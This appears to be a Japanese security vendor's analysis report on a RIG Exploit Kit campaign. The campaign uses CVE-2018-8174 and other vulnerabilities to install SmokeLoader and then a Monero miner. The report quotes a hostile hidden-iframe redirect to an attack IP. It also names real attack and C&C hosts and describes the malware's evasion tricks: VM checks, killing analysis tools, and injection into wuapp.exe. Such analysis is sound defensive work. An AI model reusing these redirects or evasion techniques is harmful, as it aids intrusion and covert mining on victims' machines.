【分析レポート】 RIG Exploit Kit を利用して仮想通貨を採掘するマルウェア
01. 分析
1) 要約
脆弱性攻撃ツール RIG Exploit Kit に脆弱性 「CVE-2018-8174」 の攻撃コードが追加された仮想通貨 (Monero) 採掘マルウェアが拡散しており、注意が必要である。
CVE-2018-8174 は、VB Script Engine によりリモートでのコード実行が可能になる脆弱性である。パッチを適用していないユーザーが侵害された Web サイトにアクセスした場合や Malvertising 手法を使用する広告を閲覧した場合に、当該脆弱性により Monero 採掘マルウェアに感染する恐れがある。
本レポートでは、RIG Exploit Kit を通じて Monero 採掘マルウェアに感染する過程および対策について説明する。
動作方式は、次のとおりである。

2) 動作の流れ
ア) RIG Exploit Kit を利用した脆弱性攻撃
ユーザーが Web ブラウザを利用して安全ではない Web 広告を閲覧した場合、および侵害された Web サービスにアクセスした場合に脆弱性攻撃が開始される。
攻撃は、[図 1] のように4段階で行われる。

[図 1] 脆弱性攻撃の過程
(a) Landing page へ移動 (1段階)
HTTP ヘッダーに含まれた Location 情報により、自動で http://kronstic.bid に移動する。
(b) 脆弱性攻撃サイトへ移動 (2段階)
http://kronstic.bid から受信した HTML には、<iframe src=http://188.225.47.175/?.... width=”1” height=”1”style=”position:absolute:left:-1px;”><iframe> が含まれている。<iframe> タグにより脆弱性攻撃サイト (http://188.225.47.175) にアクセスする。
(c) 脆弱性攻撃コマンドの実行 (3段階)
http://188.225.47.175 から受信した HTML には、脆弱性攻撃の効果を高めるため、脆弱性 「CVE-2018-8174」、「CVE-2018-4878」、「CVE-2016-0189」 の攻撃コードがすべて含まれている。各攻撃コードは順次実行され、パッチが適用されていない場合は悪性ファイルをダウンロード・実行するシェルコードが実行される。
(d) 脆弱性攻撃ファイルのダウンロードおよび実行 (4段階)
3つの脆弱性攻撃のうち、CVE-2018-4878 は、Adobe Flash Player の脆弱性を利用するため、Adobe Flash ファイルが追加で必要である。このファイルを http://188.225.47.175 からダウンロード・実行する。

イ) SmokeLoader のダウンロードおよび実行
脆弱性攻撃が成功して Web ブラウザの制御が可能になったら、各脆弱性ごとに Web ブラウザでシェルコードを実行して SmokeLoader をダウンロード・実行する。シェルコードは各脆弱性ごとに作成されている。
[図 3] は、CVE-2018-8174 脆弱性攻撃に使用されたシェルコードである。
このシェルコードが実行されると、[図 4] のようにスクリプト情報を因数として含んだ CMD プログラムが実行される。

CMD プログラムが実行されると、スクリプトコマンドを %TEMP%\T32.tmp に保存し、WSCRIPT (Windows Script) プログラムを利用して実行する。このスクリプトコマンドには SmokeLoader を Web サーバーからダウンロード・実行するコマンドが含まれている。

ウ) SmokeLoader の 動作
シェルコードにより実行されるスクリプトは SmokeLoader をダウンロード・実行する。SmokeLoader は自らをレジストリに登録し、定期的に C&C サーバーに接続して新しい悪性ファイルをダウンロード・実行する。
NSIS インストーラーで作成されており、次のように動作する。
(a) 実行環境のチェック
以下の条件をチェックし、自らの実行を中断するか対象プログラムを終了させる。
- Windows バージョンをチェック
:Windows Vista 以下の OS である場合は、自らを終了する。
- Virtual Machine の有無をチェック
:HKLM\System\CurrentControlSet\Service\Disk\Enum\0 の値に “VMWARE、VIRTUAL、QEMU、ZEN” の値が含まれている場合は、自らを終了する。
- 分析プログラムの実行の有無をチェック
:OllyDbg、Process Explorer、Process Monitor、WinDbg、Cain & Abel、TCPView、Portmon、 Wireshark などの分析プログラムの実行の有無をプロセス一覧および Window Class 一覧で確認した後、対象プログラムを終了させる。
(b) 自己ファイルのコピー
自己ファイルを %APPDATA%\Microsoft\Windows\[ランダムなパス]\[ランダムなファイル名].exe にコピーする。
(c) 自動実行登録
自動実行フォルダーにリンクファイル (.LNK) を生成して、再起動後にコピーされたファイルが動作できるように登録する。
%APPDATA%\Microsoft\Windows\Start Menu\programs\startup\[ランダムなファイル名].lnk
(d) インターネット接続可否の確認
http://www.mfstncsi.com/nscsi.txt にアクセスを試み、インターネット接続が可能かを確認する。アクセスできない場合は、6秒間待機後、再アクセスする。
(e) 新しい悪性プログラムのダウンロード
C&C サーバー (http://vnz.bit) に接続して新しい悪性プログラムを %TEMP%\[ランダムなパス]\wuauclt.exe にダウンロード・実行する。
C&C サーバーへの初回接続時には、[図 6] のように POST メソッドで実行されたシステムの “Disk Volume Serial Number”、“Windows Version”、“Process Integirty Level” などの情報を RC4 アルゴリズムで暗号化して送信する。

要求を受けた C&C サーバーは “404 Not Found” を返す。この応答は要求されたページが存在しない場合に使用されるエラーコードであるが、実際は暗号化された実行ファイルデータを Content-Length の長さほど返しており、SmokeLoader はこのデータを復号化して %TEMP% に保存し実行する。
このように C&C サーバーへの接続を1分ごとに繰り返して、新しい悪性プログラムを随時ダウンロード・実行する。
エ) 仮想通貨の採掘
SmokeLoader によりさまざまなマルウェアに感染する恐れがあるが、最近では、主に Monero 採掘マルウェアがダウンロード・実行されている。
Monero 採掘マルウェアも NSIS インストーラーで作成されており、次のように動作する。
(a) 自己ファイルのコピー
自己ファイルを %APPDATA%\troop.exe にコピーする。
(b) 自動実行登録
以下のレジストリパスにコピーしたファイルパスを登録して、再起動後も動作できるようにする。

(c) XMRig プログラムの実行
%WINDIR%\system32\wuapp.exe を次のように実行する。

Wuapp.exe は、“Windows Update Application Launcher” プログラムであり、正常なプログラムである。Menero 採掘マルウェアはこのプログラムを実行した後、自らのコードをインジェクション・実行することで、ユーザーがマルウェアに感染したことに気づかないようにする。
Menero 採掘マルウェアがインジェクションするコードは、オープンソースプログラムである 「XMRig (バージョン 2.5.0)」 である。メモリの分析で検知されないように、PE ファイルの一部のヘッダー情報を除去した UPX の形で作成されている。

因数で送信される RIGXMR 設定ファイルの内容は次のとおりである。

[図 8] “C:\ProgramData\BJSTjWTTyY\cfg” 内容の一部
Monero を採掘する際にマルウェアは一つのスレッドと sg.mimexmr.com:4444 を Mining Pool として使用する。この Mining Pool はシンガポールに位置するサーバーであり、感染した PC のユーザーがマルウェアが実行中であることに気づかないようにシステムリソースを少なく使用するように設定されている。
現在は [図 9] のように minexmr.com サイトで不正なアカウントとして遮断されており、Monero を採掘することができない。

[図 9] 使用停止されたアカウント
02. まとめ
本レポートで分析したマルウェアは、金銭的利益を得るために Monero を採掘する目的で作成・流布されているが、SmokeLoader は本来さまざまな目的で使用されるダウンローダー悪性プログラムである。攻撃者の意図によってはランサムウェアやバックドアがインストールされる恐れもあるため、感染しないように注意しなければならない。
03. 対策と予防
1) アンラボにおける対策
アンラボでは、当該マルウェアを以下のように検知できる。

2) 予防対策
当該マルウェアに感染しないためには、疑わしいサイトへのアクセスを控え、使用中のソフトウェアを最新バージョンにアップデートする必要がある。